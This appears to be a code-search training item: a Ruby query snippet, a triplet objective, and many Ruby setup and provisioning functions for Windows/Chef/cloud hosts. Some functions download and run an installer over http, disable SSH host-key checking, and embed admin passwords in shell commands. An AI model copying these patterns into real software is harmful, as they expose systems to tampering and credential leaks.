resp = shell.run(%Q{hostname}) if resp.stdout.chomp != hostname resp = shell.run(%Q{Rename-Computer -NewName '#{hostname}' -Force -PassThru -Restart; Restart-Computer -Force}) MU.log "Renaming Windows host to #{hostname}; this will trigger a reboot", MU::NOTICE, details: resp.stdout reboot(true) sleep 30 end rescue WinRM::WinRMError, HTTPClient::ConnectTimeoutError => e retries, rebootable_fails = handleWindowsFail(e, retries, rebootable_fails, max_retries: 10, reboot_on_problems: true, retry_interval: 30) retry end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def SetUpNodes\n \n @nodes.each do |node|\n\n if node.type==\"R\" or node.type==\"A\" or node.type==\"G\"\n \t\n\tSetMode(node)\n\n\tEnforceChannels(node)\n\t\n\tSetEssid(node) # after this stage, with omf-5.4 the wlan interface is created.\n\t\n\tSetWifiPower(node)\n\n\tSetMtu(node)\n\t\n\tSetIp(node)\n\t\n\tNode(node.id).exec(\"sysctl -w net.ipv4.conf.all.send_redirects=0\")\n \n EnforceRates(node)\n\t\n end\n #final settings\n #self.GetGroupInterface(node, ifn).txqueuelen=\"10\"\n end\n end", "def initialWinRMTasks(shell)\n retries = 0\n rebootable_fails = 0\n begin\n if !@config['use_cloud_provider_windows_password']\n pw = @groomer.getSecret(\n vault: @config['mu_name'],\n item: \"windows_credentials\",\n field: \"password\"\n )\n win_check_for_pw = %Q{Add-Type -AssemblyName System.DirectoryServices.AccountManagement; $Creds = (New-Object System.Management.Automation.PSCredential(\"#{@config[\"windows_admin_username\"]}\", (ConvertTo-SecureString \"#{pw}\" -AsPlainText -Force)));$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine); $DS.ValidateCredentials($Creds.GetNetworkCredential().UserName, $Creds.GetNetworkCredential().password); echo $Result}\n resp = shell.run(win_check_for_pw)\n if resp.stdout.chomp != \"True\"\n win_set_pw = %Q{(([adsi]('WinNT://./#{@config[\"windows_admin_username\"]}, user')).psbase.invoke('SetPassword', '#{pw}'))}\n resp = shell.run(win_set_pw)\n puts resp.stdout\n MU.log \"Resetting Windows host password\", MU::NOTICE, details: resp.stdout\n end\n end\n\n # Install Cygwin here, because for some reason it breaks inside Chef\n # XXX would love to not do this here\n pkgs = [\"bash\", \"mintty\", \"vim\", \"curl\", \"openssl\", \"wget\", \"lynx\", \"openssh\"]\n admin_home = \"c:/bin/cygwin/home/#{@config[\"windows_admin_username\"]}\"\n install_cygwin = %Q{\n If (!(Test-Path \"c:/bin/cygwin/Cygwin.bat\")){\n $WebClient = New-Object System.Net.WebClient\n $WebClient.DownloadFile(\"http://cygwin.com/setup-x86_64.exe\",\"$env:Temp/setup-x86_64.exe\")\n Start-Process -wait -FilePath $env:Temp/setup-x86_64.exe -ArgumentList \"-q -n -l $env:Temp/cygwin -R c:/bin/cygwin -s http://mirror.cs.vt.edu/pub/cygwin/cygwin/ -P #{pkgs.join(',')}\"\n }\n if(!(Test-Path #{admin_home})){\n New-Item -type directory -path #{admin_home}\n }\n if(!(Test-Path #{admin_home}/.ssh)){\n New-Item -type directory -path #{admin_home}/.ssh\n }\n if(!(Test-Path #{admin_home}/.ssh/authorized_keys)){\n New-Item #{admin_home}/.ssh/authorized_keys -type file -force -value \"#{@deploy.ssh_public_key}\"\n }\n }\n resp = shell.run(install_cygwin)\n if resp.exitcode != 0\n MU.log \"Failed at installing Cygwin\", MU::ERR, details: resp\n end\n\n hostname = nil\n if !@config['active_directory'].nil?\n if @config['active_directory']['node_type'] == \"domain_controller\" && @config['active_directory']['domain_controller_hostname']\n hostname = @config['active_directory']['domain_controller_hostname']\n @mu_windows_name = hostname\n else\n # Do we have an AD specific hostname?\n hostname = @mu_windows_name\n end\n else\n hostname = @mu_windows_name\n end\n resp = shell.run(%Q{hostname})\n\n if resp.stdout.chomp != hostname\n resp = shell.run(%Q{Rename-Computer -NewName '#{hostname}' -Force -PassThru -Restart; Restart-Computer -Force})\n MU.log \"Renaming Windows host to #{hostname}; this will trigger a reboot\", MU::NOTICE, details: resp.stdout\n reboot(true)\n sleep 30\n end\n rescue WinRM::WinRMError, HTTPClient::ConnectTimeoutError => e\n retries, rebootable_fails = handleWindowsFail(e, retries, rebootable_fails, max_retries: 10, reboot_on_problems: true, retry_interval: 30)\n retry\n end\n end", "def setup\n EventBus.subscribe(Events::DOWN_ARE_NODES_ALIVE, self, :on_alive_request)\n info \"Startup\"\n Thread.new {\n OmfCommon.init(CONFIG[:env], communication: {url: CONFIG[:xmpp_url]}) {\n OmfCommon.comm.on_connected { |comm|\n info \"WiseOMF >> Connected to XMPP server\"\n # Test end???\n comm.on_interrupted {\n puts \"WiseOMF >> Interrupt!\"\n ResourceProxyManager.instance.handle_interrupt\n }\n }\n }\n }.run\n sleep(5)\n\n OmfRc::ResourceFactory.load_additional_resource_proxies('../lib')\n ResourceProxyManager.instance\n # Do nothing\n end", "def register_node\n case node['platform']\n when 'windows'\n # Create temp directory where we copy/create source files to install tscm agent\n directory \"#{node['tscm']['temp']}\" do\n action :create\n not_if { ::File.directory?('C:\\\\tscm_temp')}\n end\n # copy tscm proxy key of tscm server on Node\n cookbook_file \"#{node['tscm']['temp']}\\\\#{node['tscm']['native_proxykey']}\" do\n source \"#{node['tscm']['native_proxykey']}\"\n action :create\n end\n # fix permissions of client side files keys\n powershell_script 'fix_keyfile_permission' do\n code <<-EOH\n cd 'C:/Program Files/OpenSSH-Win64/'\n Import-Module ./OpenSSHUtils.psd1 -Force \n Repair-UserKeyPermission -FilePath 'C:\\\\tscm_temp\\\\SCM_id_rsa' -Confirm:$false\n EOH\n end\n \n execute 'register-tscm' do\n command \"C:\\\\PROGRA~1\\\\OpenSSH-Win64\\\\ssh.exe -vvv -n -o StrictHostKeyChecking=no -vvv -i #{node['tscm']['temp']}\\\\SCM_id_rsa #{node['tscm']['TSCMProxy_user']}@#{node['tscm']['TSCMProxy_server']}\" + \" powershell.exe -File #{node['tscm']['tscmWrapper_path']} reg #{node['tscm']['hostname']} w2k12 #{node['tscm']['ipaddress']} > #{node['tscm']['register_log']} 2>&1\"\n action :run\n timeout 3600\n end\n ruby_block 'sleep-after-register' do\n block do\n sleep(120)\n end\n action :run\n end\n end\nend", "def exec_setup\n exec_task_traverse 'setup'\n end", "def setup\n puts \"Starting test\"\n TRConnector.instance.start\n sleep(1)\n end", "def setup\r\n setup_wiki\r\n setup_host_map\r\n setup_host\r\n end", "def setup_node(&blk)\n\t\t\t\tnode_setup_blocks << blk\n\t\t\tend", "def do_setup; \"\" end", "def set_up_server\n node = Chef::Node.new\n node.name 'nothing'\n node.automatic[:platform] = 'kitchen_metal'\n node.automatic[:platform_version] = 'kitchen_metal'\n Chef::Config.local_mode = true\n run_context = Chef::RunContext.new(node, {},\n Chef::EventDispatch::Dispatcher.new(Chef::Formatters::Doc.new(STDOUT,STDERR)))\n recipe_exec = Chef::Recipe.new('kitchen_vagrant_metal',\n 'kitchen_vagrant_metal', run_context)\n\n # We require a platform, but layout in driver is optional\n recipe_exec.instance_eval get_platform_recipe\n recipe = get_driver_recipe\n recipe_exec.instance_eval recipe if recipe\n return run_context\n end", "def setup\n TestUtils.set_workday_default\n TestUtils.enable_module_on_project 1\n @request.session[:user_id] = 1\n @rc_cfg = Red_Counter::Config.new\n end", "def setup\n\n setup_path\n save_application_details\n add_jvm_args\n rename_server_instance\n\n \"/bin/bash ./#{SETUP_ENV_SCRIPT}\"\n end", "def setup\n\n setup_path\n save_application_details\n add_jvm_args\n rename_server_instance\n\n \"/bin/sh ./#{SETUP_ENV_SCRIPT}\"\n end", "def setup()\n end", "def setup\r\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n reset\n start_tls\n log_in\n set_mailbox\n @backoff = 1\n end", "def setup\n recipes.each { |rcp| rcp.setup }\n end", "def setup\n\n @server = ItemServer.new :auth => :basic\n @server.start\n end", "def setup_common(id, options = {})\n node = options[:for_node]\n options[:memory] ||= 1024\n\n # Base setup: Ubuntu Server 14.04 LTS (Trusty Tahr) 64-bit for Parallels\n node.vm.box = \"parallels/ubuntu-14.04\"\n\n # Setup provider\n node.vm.provider \"parallels\" do |provider|\n provider.memory = options[:memory]\n end\n\n # Puppet setup\n node.vm.provision :puppet do |pp|\n pp.module_path = \"Puppet/modules\"\n pp.manifests_path = \"Puppet/manifests\"\n pp.manifest_file = \"init_#{id}.pp\"\n pp.hiera_config_path = \"Hiera/#{id}.yaml\"\n end\nend", "def prep\n client.run_ohai\n client.load_node # from the server\n client.build_node\n end", "def setup\n create_vagrantfile()\n\n teardown()\n\n output << bold(color(\"localhost$\", :green)) << \" vagrant up\\n\"\n vagrant(\"up\")\n\n # Establish ssh connectivity\n nodes.each do |k,v|\n output << bold(color(\"localhost$\", :green)) << \" ssh #{k}\\n\"\n chan = Net::SSH.start(k, 'vagrant', :config => ssh_config)\n\n RSpec.configuration.rspec_storage[:nodes][k] = {\n :ssh => chan,\n }\n end\n\n nil\n end", "def setup\n\n end", "def setup\n\n end", "def setup\n puts \"Running #{Cosmos::Test.current_test_suite}:#{Cosmos::Test.current_test}:#{Cosmos::Test.current_test_case}\"\n # if interfaces are not connected, try to connect\n disconnect_interface(\"XBEE_INT\")\n wait(1)\n connect_interface(\"XBEE_INT\")\n\n disconnect_interface(\"LINKCCSDS_INT\")\n wait(1)\n connect_interface(\"LINKCCSDS_INT\")\n \n ########## have the user reset Link\n message_box(\"Please reset LINK.\", \"Continue\")\n puts(\"Waiting for LINK to initalize...\")\n wait(2)\n \n # set the MY address\n cmd(\"XBEE\", \"ATSETCMD\", \"STARTDELIM\" => 126, \"PKTLEN\" => 4, \"FRAMETYPE\" => 8, \"FRAMEID\" => 1, \"CMDCODE\" => \"MY\", \"VAL\" => 3)\n # request the MY parameter\n cmd(\"XBEE\", \"ATCMD\", \"STARTDELIM\" => 126, \"PKTLEN\" => 4, \"FRAMETYPE\" => 8, \"FRAMEID\" => 1, \"CMDCODE\" => \"MY\")\n # verify it was set correctly\n wait_check(\"XBEE ATCMDRESP RESPONSE == 3\", 0.5)\n\n # set the ID\n cmd(\"XBEE\", \"ATSETCMD\", \"STARTDELIM\" => 126, \"PKTLEN\" => 4, \"FRAMETYPE\" => 8, \"FRAMEID\" => 1, \"CMDCODE\" => \"ID\", \"VAL\" => 2827)\n # request the ID parameter\n cmd(\"XBEE\", \"ATCMD\", \"STARTDELIM\" => 126, \"PKTLEN\" => 4, \"FRAMETYPE\" => 8, \"FRAMEID\" => 1, \"CMDCODE\" => \"ID\")\n # verify it was set correctly\n wait_check(\"XBEE ATCMDRESP RESPONSE == 2827\", 0.5)\n end", "def setup\n setup_methods.each { |m| self.send(m) }\n start_services\n \n wait_time = cfg('wait-after-startup')\n if not wait_time.nil?\n 1.upto(wait_time) do |i|\n puts \"Waiting #{wait_time-i} seconds before commencing benchmarks\"\n sleep 1\n end\n end\n end", "def setup()\n # simulate a \"startup\" function (not available in my Test Unit version)\n if @@cmptr.nil?\n @@cmptr = 0 # Set to 0 at first run to make confiuration only once\n print \"Please provide the email to use for firefox sync: \"\n @@email = STDIN.gets.chomp()\n print \"Please provide the password to use for firefox sync: \"\n @@pwd = STDIN.gets.chomp()\n print \"Please provide the passphrase (aka recovery key) to use for firefox sync: \"\n @@passphrase = STDIN.gets.chomp()\n end\n end", "def setup\n\t\tend", "def setup\n\t\tend", "def setup\n @automator = ArmAutomator.instance\n create_test_user :login_id_prefix => \"test\", :external_user_id_suffix => \"@gmail.com\", :group => \"training\", :country => \"United States\"\n perform_login\n end", "def initiate_nodes_upgrade\n upgrade_nodes = Node.all.reject do |node|\n node.admin? || node[:platform] == \"windows\" || node.state != \"crowbar_upgrade\"\n end\n check_if_nodes_are_available upgrade_nodes\n admin_node = Node.admin_node\n upgrade_nodes_failed = []\n\n upgrade_nodes.each do |node|\n node[\"target_platform\"] = admin_node[\"provisioner\"][\"default_os\"]\n node.save\n node.set_state(\"os-upgrading\")\n end\n\n # wait for the pxe_config to be updated, then reboot the nodes\n discovery_dir = \"#{Node.admin_node[:provisioner][:root]}/discovery/\"\n pxecfg_subdir = \"bios/pxelinux.cfg\"\n\n upgrade_nodes.each do |node|\n boot_ip_hex = node[\"crowbar\"][\"boot_ip_hex\"]\n node_arch = node[\"kernel\"][\"machine\"]\n pxe_conf = \"#{discovery_dir}/#{node_arch}/#{pxecfg_subdir}/#{boot_ip_hex}\"\n ready_for_reboot = false\n\n while Time.now.to_i < Time.now.to_i + 120 && !ready_for_reboot\n Rails.logger.debug(\"waiting for pxe configuration to be updated for #{node.name}\")\n if File.file?(pxe_conf)\n File.open(pxe_conf).each_line do |line|\n line.chomp!\n if line =~ /^DEFAULT\\s+.+_install$/\n ready_for_reboot = true\n end\n end.close\n end\n sleep(5) unless ready_for_reboot\n end\n if ready_for_reboot\n Rails.logger.debug(\"Rebooting node #{node.name} for operating system upgrade\")\n ssh_status = node.ssh_cmd(\"/sbin/reboot\")\n if ssh_status[0] != 200\n Rails.logger.error(\"Upgrade failed for machine #{node.name}. Could not ssh.\")\n upgrade_nodes_failed.push(node.name)\n end\n else\n Rails.logger.error(\"Upgrade failed for #{node.name}. Node not ready for reboot\")\n upgrade_nodes_failed.push(node.name)\n end\n end\n # If list is empty, this method was successful.\n upgrade_nodes_failed\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n # noop\n end", "def event_startup()\n require 'md5'\n\n # Generate a random AES session key first thing\n @connection.comm.keyring.rekey!\n\n # This is where we load the user's public and private key from the env.yml\n # configuration file. If it's not there, we spawn a helpful creation tool.\n # This tool MUST return public key, private key, and user-name.\n unless @var[:our_name] and @var[:pub_rsa] and @var[:prv_rsa]\n @var[:our_name], @var[:pub_rsa], @var[:prv_rsa] = keygen_tool()\n if @var[:our_name] and @var[:prv_rsa].to_s =~ /[0-9a-f]+:[0-9a-f]+/ and\n @var[:pub_rsa].to_s =~ /[0-9a-f]+:[0-9a-f]+/\n _save_env\n else\n add_error(\"YOU HAVE NO KEYS! TOOL MUST BE CALLED.\")\n Kernel.exit(0)\n end\n end\n @connection.comm.initialize_address_book(@var[:pub_rsa], @var[:prv_rsa],\n @var[:our_name])\n\n _network_init\n\n # Startup the timer thread\n Thread.new do\n loop do\n sleep 15\n dispatch :timer\n end\n end\n\n # Auto-connect?\n local_connect('') if @var[:auto_connect]\nend", "def run\n sanity_check\n\n ui.info(\"Creating new client for #{node_name}\")\n\n @client = create_client!\n\n ui.info(\"Creating new node for #{node_name}\")\n\n create_node!\n end", "def ready\n Souffle::Log.info \"#{@node.log_prefix} Is ready for provisioning...\"\n end", "def register_tscm\n case node['platform']\n when 'redhat'\n client_id = shell_out('cat /opt/IBM/SCM/client/client.id').stdout\n\n if client_id.to_i == -1\n # registering the tscm client with server\n Chef::Log.info('Registering TSCM client........')\n\n # check for key required for server authentication\n verify_key\n\n # registering client using ssh command\n execute 'register-node' do\n command \"ssh -n -o StrictHostKeyChecking=no -i #{node['tscm']['key']} #{node['tscm']['proxy_user']}@#{node['tscm']['proxy_server']} powershell.exe -File 'C:/TSCM_Automation/TSCM_wrapper.ps1' #{node['tscm']['register_ot']} #{node['tscm']['node_name']} #{node['tscm']['OS_type']} #{node['tscm']['node_IP']}\"\n action :run\n timeout 1800\n end\n\n ruby_block 'sleep-after-register' do\n block do\n sleep(120)\n end\n action :run\n end\n \n else\n Chef::Log.error('TSCM Client: ' + (node['tscm']['node_name']).to_s + ' Already Registered with Object ID : ' + client_id.to_s + '.....................Nothing to do')\n node.default['tscm']['registration_status'] = 'success'\n end\n\n # registering on aix\n when 'aix'\n client_id = shell_out('cat /opt/IBM/SCM/client/client.id').stdout\n\n # check if the key is available; download in case it is not available\n verify_key\n \n Chef::Log.error(client_id.to_i)\n if client_id.to_i == -1\n Chef::Log.info('Registering the TSCM client.......')\n\n # registering the tscm client with server\n Chef::Log.info('Registering TSCM client........')\n\n execute 'register-tscm' do\n command \"ssh -n -o StrictHostKeyChecking=no -i #{node['tscm']['key']} #{node['tscm']['proxy_user']}@#{node['tscm']['proxy_server']} powershell.exe -File 'C:/TSCM_Automation/TSCM_wrapper.ps1' #{node['tscm']['register_ot']} #{node['tscm']['node_name']} #{node['tscm']['OS_type']} #{node['tscm']['node_IP']}\"\n action :run\n timeout 1800\n end\n\n ruby_block 'sleep-after-register' do\n block do\n sleep(120)\n end\n action :run\n end\n\n # checking log files for validating registration\n if ::File.exist?('/opt/IBM/SCM/client/client.log') && ::File.readlines('/opt/IBM/SCM/client/client.log').grep(/Storing obsfucated schedules/)\n Chef::Log.info('Registration Success...........')\n else\n Chef::Log.error('Registration Failed...........')\n end\n else\n Chef::Log.error('TSCM Client: ' + (node['tscm']['node_name']).to_s + ' Already Registered with Object ID : ' + client_id.to_s + '.....................Nothing to do')\n node.default['tscm']['registration_status'] = 'success'\n Chef::Log.error((node['tscm']['registration_status']).to_s)\n end\n end\nend", "def setup\n debug 'No custom setup defined'\n end", "def provision_pe_xl_nodes\n puts NOOP_MESSAGE if NOOP\n puts TEST_MESSAGE if TEST\n puts PROVISION_MESSAGE\n\n # TODO: update provision_hosts_for_roles to generate last_abs_resource_hosts.log\n # and generate Beaker hosts files\n if NOOP\n puts NOOP_EXEC\n else\n hosts = if TEST\n HA ? TEST_HOSTS_HA : TEST_HOSTS_NO_HA\n else\n provision_hosts_for_roles(ROLES, AWS_TAG_ID, AWS_SIZE, AWS_VOLUME_SIZE)\n end\n\n create_pe_xl_bolt_files(hosts, OUTPUT_DIR)\n end\nend", "def setup\n puts \"Running #{Cosmos::Test.current_test_suite}:#{Cosmos::Test.current_test}:#{Cosmos::Test.current_test_case}\"\n # if interfaces are not connected, try to connect\n #disconnect_interface(\"XBEE_INT\")\n #wait(1)\n #connect_interface(\"XBEE_INT\")\n\n disconnect_interface(\"LINKCCSDS_INT\")\n wait(1)\n connect_interface(\"LINKCCSDS_INT\")\n \n # set the MY address\n #cmd(\"XBEE\", \"ATSETCMD\", \"STARTDELIM\" => 126, \"PKTLEN\" => 4, \"FRAMETYPE\" => 8, \"FRAMEID\" => 1, \"CMDCODE\" => \"MY\", \"VAL\" => 3)\n # request the MY parameter\n #cmd(\"XBEE\", \"ATCMD\", \"STARTDELIM\" => 126, \"PKTLEN\" => 4, \"FRAMETYPE\" => 8, \"FRAMEID\" => 1, \"CMDCODE\" => \"MY\")\n # verify it was set correctly\n #wait_check(\"XBEE ATCMDRESP RESPONSE == 3\", 0.5)\n\n # set the ID\n #cmd(\"XBEE\", \"ATSETCMD\", \"STARTDELIM\" => 126, \"PKTLEN\" => 4, \"FRAMETYPE\" => 8, \"FRAMEID\" => 1, \"CMDCODE\" => \"ID\", \"VAL\" => 2827)\n # request the ID parameter\n #cmd(\"XBEE\", \"ATCMD\", \"STARTDELIM\" => 126, \"PKTLEN\" => 4, \"FRAMETYPE\" => 8, \"FRAMEID\" => 1, \"CMDCODE\" => \"ID\")\n # verify it was set correctly\n #wait_check(\"XBEE ATCMDRESP RESPONSE == 2827\", 0.5)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def setup_create\n\t\traise NotImplementedError, \"machine_create is not implemented\"\n\tend", "def install_tscm\n case node['platform']\n when 'windows'\n if ::File.directory?(node['tscm']['alreadyInstalledFile'].to_s)\n Chef::Log.info('tscm is already install, nothing to install for tscm agent')\n else\n # Create temp directory where we copy/create source files to install tscm agent\n directory \"#{node['tscm']['temp']}\" do\n action :create\n end\n # get tscm agent media to our temp dir\n remote_file \"#{node['tscm']['temp']}\\\\#{node['tscm']['TSCMfile']}\" do\n source \"#{node['tscm']['TSCMfile_Path']}\"\n action :create\n end\n\n media = \"#{node['tscm']['temp']}\\\\#{node['tscm']['TSCMfile']}\"\n Chef::Log.info(\"media: #{media}\")\n\n # Unpack media\n ruby_block 'unzip-install-file' do\n block do\n Chef::Log.info('unziping the tscm Installer file')\n command = powershell_out \"Add-Type -assembly \\\"system.io.compression.filesystem\\\"; [io.compression.zipfile]::ExtractToDirectory('#{media}', 'C:\\\\tscm_temp')\"\n Chef::Log.debug command\n action :create\n end\n end\n Chef::Log.info('Performing tscm agent installation...')\n ruby_block 'Install TSCM Agent' do\n block do\n install_cmd = powershell_out \"Start-Process '#{node['tscm']['temp']}\\\\setup-x64.exe' '/verysilent /suppressmsgboxes /log=C:/tscminstall.log'\"\n Chef::Log.debug install_cmd\n not_if { ::File.exist?(\"#{node['tsm']['alreadyInstalledFile']}\") }\n end\n action :create\n end\n # Create directory where we copy wsusscn2.cab file from TSCM Server\n directory node['tscm']['patchAuditingPath'].to_s do\n action :create\n recursive true\n end\n\n # copy tscm proxy key of tscm server on Node\n cookbook_file \"#{node['tscm']['temp']}\\\\#{node['tscm']['native_proxykey']}\" do\n source \"#{node['tscm']['native_proxykey']}\"\n action :create\n end\n # fix permissions of client side files keys\n powershell_script 'fix_keyfile_permission' do\n code <<-EOH\n cd 'C:/Program Files/OpenSSH-Win64/'\n Import-Module ./OpenSSHUtils.psd1 -Force \n Repair-UserKeyPermission -FilePath 'C:\\\\tscm_temp\\\\SCM_id_rsa' -Confirm:$false\n EOH\n end\n\n # Copy AuditPatching File to required location on the node\n Chef::Log.info('Copy audit patching file')\n execute 'Copy_auditPatching_file' do\n command 'C:/PROGRA~1/OpenSSH-Win64/scp.exe -o StrictHostKeyChecking=no -i C:/tscm_temp/SCM_id_rsa [email protected]:/C:/PROGRA~1/IBM/SCM/client/software/completed/wsusscn2.cab C:/PROGRA~1/IBM/SCM/client/software/completed/'\n action :run\n end\n\n # Delete Program file which affect to start the SCM service\n file 'C:\\\\Program' do\n only_if { ::File.exist?('C:\\\\Program') }\n action :delete\n end\n \n # Copy the wrapper script on tscm temp directory\n cookbook_file \"#{node['tscm']['temp']}\\\\#{node['tscm']['native_ScriptFile']}\" do\n source \"#{node['tscm']['native_ScriptFile']}\"\n action :create\n end\n\n # Updating the debug value as true in client.pref file\n ruby_block 'update_debugValue' do\n block do\n Chef::Log.info('Sleeping for thirty second to wait to create the client.pref file')\n sleep(30)\n Chef::Log.info('Updating the debug value of client.pref file')\n file_name = \"#{node['tscm']['clientConfFile']}\"\n text = ::File.read(file_name)\n new_contents = text.gsub(/debug=false/, 'debug=true')\n # write changes to the file\n ::File.open(file_name, 'w') { |file| file.puts new_contents }\n end\n action :create\n end\n \n # Restart the SCM service for reflecting the changes\n service \"#{node['tscm']['serviceName']}\" do\n action :restart\n end\n end\n end\nend", "def setup\n\t\t# Do nothing\n\tend", "def setup\n\t\t# Do nothing\n\tend", "def setup\n config = self.config\n host = config['app']['host']\n port = config['app']['port']\n @url_base = \"http://#{host}:#{port}\"\n\n # Extract test pcaps and indexes\n FileUtils.rm_rf '/tmp/pcapr_local_test'\n test_tar = File.join(File.expand_path(File.dirname(__FILE__)), 'test.tgz')\n if File.exist? test_tar\n puts `tar -C /tmp/ -xzf #{test_tar}`\n end\n\n # Recreate test database.\n begin\n couch = config['couch']\n RestClient.delete \"#{couch['uri']}/#{couch['database']}\"\n rescue RestClient::ResourceNotFound\n end\n db = PcaprLocal.get_db config\n\n # And restore it from datafile.\n if self.datafile\n load_docs self.datafile, db\n end\n\n # Start server.\n config_file = Tempfile.new \"config\"\n config_file.print config.to_json\n config_file.flush\n @pid = fork do \n Process.setpgid $$, $$\n exec \"#{PcaprLocal::ROOT}/bin/startpcapr -f #{config_file.path} -d\" \n end\n\n # And wait for it to be ready.\n wait_for_server host, port\n end", "def setup\n @log = Logger['MedRuleAgentServerTest']\n\t\t@socket = TCPSocket.new('localhost', 1729)\n end", "def setup\n add_standard_properties\n #\n create_banner\n create_standard_options\n create_advanced_options\n create_mode_options\n create_application_options\n create_feature_options\n create_tail_options\n #\n parse_options\n load_config_configuration\n create_result_directory\n load_results_archive\n end", "def setup\n # override this if needed\n end", "def start\n self.assign_handler(Puerto::Handlers::Setup.new, self)\n end", "def initialSSHTasks(ssh)\n win_env_fix = %q{echo 'export PATH=\"$PATH:/cygdrive/c/opscode/chef/embedded/bin\"' > \"$HOME/chef-client\"; echo 'prev_dir=\"`pwd`\"; for __dir in /proc/registry/HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Session\\ Manager/Environment;do cd \"$__dir\"; for __var in `ls * | grep -v TEMP | grep -v TMP`;do __var=`echo $__var | tr \"[a-z]\" \"[A-Z]\"`; test -z \"${!__var}\" && export $__var=\"`cat $__var`\" >/dev/null 2>&1; done; done; cd \"$prev_dir\"; /cygdrive/c/opscode/chef/bin/chef-client.bat $@' >> \"$HOME/chef-client\"; chmod 700 \"$HOME/chef-client\"; ( grep \"^alias chef-client=\" \"$HOME/.bashrc\" || echo 'alias chef-client=\"$HOME/chef-client\"' >> \"$HOME/.bashrc\" ) ; ( grep \"^alias mu-groom=\" \"$HOME/.bashrc\" || echo 'alias mu-groom=\"powershell -File \\\"c:/Program Files/Amazon/Ec2ConfigService/Scripts/UserScript.ps1\\\"\"' >> \"$HOME/.bashrc\" )}\n win_installer_check = %q{ls /proc/registry/HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Installer/}\n lnx_installer_check = %q{ps auxww | awk '{print $11}' | egrep '(/usr/bin/yum|apt-get|dpkg)'}\n lnx_updates_check = %q{( test -f /.mu-installer-ran-updates || ! test -d /var/lib/cloud/instance ) || echo \"userdata still running\"}\n win_set_pw = nil\n\n if windows? and !@config['use_cloud_provider_windows_password']\n # This covers both the case where we have a windows password passed from a vault and where we need to use a a random Windows Admin password generated by MU::Cloud::Server.generateWindowsPassword\n pw = @groomer.getSecret(\n vault: @config['mu_name'],\n item: \"windows_credentials\",\n field: \"password\"\n )\n win_check_for_pw = %Q{powershell -Command '& {Add-Type -AssemblyName System.DirectoryServices.AccountManagement; $Creds = (New-Object System.Management.Automation.PSCredential(\"#{@config[\"windows_admin_username\"]}\", (ConvertTo-SecureString \"#{pw}\" -AsPlainText -Force)));$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine); $DS.ValidateCredentials($Creds.GetNetworkCredential().UserName, $Creds.GetNetworkCredential().password); echo $Result}'}\n win_set_pw = %Q{powershell -Command \"& {(([adsi]('WinNT://./#{@config[\"windows_admin_username\"]}, user')).psbase.invoke('SetPassword', '#{pw}'))}\"}\n end\n\n # There shouldn't be a use case where a domain joined computer goes through initialSSHTasks. Removing Active Directory specific computer rename.\n set_hostname = true\n hostname = nil\n if !@config['active_directory'].nil?\n if @config['active_directory']['node_type'] == \"domain_controller\" && @config['active_directory']['domain_controller_hostname']\n hostname = @config['active_directory']['domain_controller_hostname']\n @mu_windows_name = hostname\n set_hostname = true\n else\n # Do we have an AD specific hostname?\n hostname = @mu_windows_name\n set_hostname = true\n end\n else\n hostname = @mu_windows_name\n end\n win_check_for_hostname = %Q{powershell -Command '& {hostname}'}\n win_set_hostname = %Q{powershell -Command \"& {Rename-Computer -NewName '#{hostname}' -Force -PassThru -Restart; Restart-Computer -Force }\"}\n\n begin\n # Set our admin password first, if we need to\n if windows? and !win_set_pw.nil? and !win_check_for_pw.nil?\n output = ssh.exec!(win_check_for_pw)\n raise MU::Cloud::BootstrapTempFail, \"Got nil output from ssh session, waiting and retrying\" if output.nil?\n if !output.match(/True/)\n MU.log \"Setting Windows password for user #{@config['windows_admin_username']}\", details: ssh.exec!(win_set_pw)\n end\n end\n if windows?\n output = ssh.exec!(win_env_fix)\n output = ssh.exec!(win_installer_check)\n raise MU::Cloud::BootstrapTempFail, \"Got nil output from ssh session, waiting and retrying\" if output.nil?\n if output.match(/InProgress/)\n raise MU::Cloud::BootstrapTempFail, \"Windows Installer service is still doing something, need to wait\"\n end\n if set_hostname and !@hostname_set and @mu_windows_name\n output = ssh.exec!(win_check_for_hostname)\n raise MU::Cloud::BootstrapTempFail, \"Got nil output from ssh session, waiting and retrying\" if output.nil?\n if !output.match(/#{@mu_windows_name}/)\n MU.log \"Setting Windows hostname to #{@mu_windows_name}\", details: ssh.exec!(win_set_hostname)\n @hostname_set = true\n # Reboot from the API too, in case Windows is flailing\n if [email protected]?\n @cloudobj.reboot\n else\n reboot\n end\n raise MU::Cloud::BootstrapTempFail, \"Set hostname in Windows, waiting for reboot\"\n end\n end\n else\n output = ssh.exec!(lnx_installer_check)\n if !output.nil? and !output.empty?\n raise MU::Cloud::BootstrapTempFail, \"Linux package manager is still doing something, need to wait (#{output})\"\n end\n if !@config['skipinitialupdates']\n output = ssh.exec!(lnx_updates_check)\n if !output.nil? and output.match(/userdata still running/)\n raise MU::Cloud::BootstrapTempFail, \"Waiting for initial userdata system updates to complete\"\n end\n end\n end\n rescue RuntimeError => e\n raise MU::Cloud::BootstrapTempFail, \"Got #{e.inspect} performing initial SSH connect tasks, will try again\"\n end\n\n end", "def setup\n # no setup\n\tend", "def setup_helper\n\n # Define ZOO_LOG_DIR\n node.default['apache_zookeeper'][\"env_vars\"][\"ZOO_LOG_DIR\"] = node['apache_zookeeper']['log_dir']\n\n # Make sure server ids are set or set them\n if !node['apache_zookeeper'][\"zoo.cfg\"].select{ |key, value| key.to_s.match(/\\Aserver.\\d+\\z/)}.empty?\n log \"Using given zoo.cfg config for server ids\"\n\n node['apache_zookeeper'][\"zoo.cfg\"].select{ |key, value| key.to_s.match(/\\Aserver.\\d+\\z/)}.each do |key, value|\n if does_server_match_node? value\n @zookeeper_myid = key[\"server.\".size, key.size]\n break\n end\n end\n\n raise \"Unable to find server [#{node[\"fqdn\"]} in zoo.cfg attributes 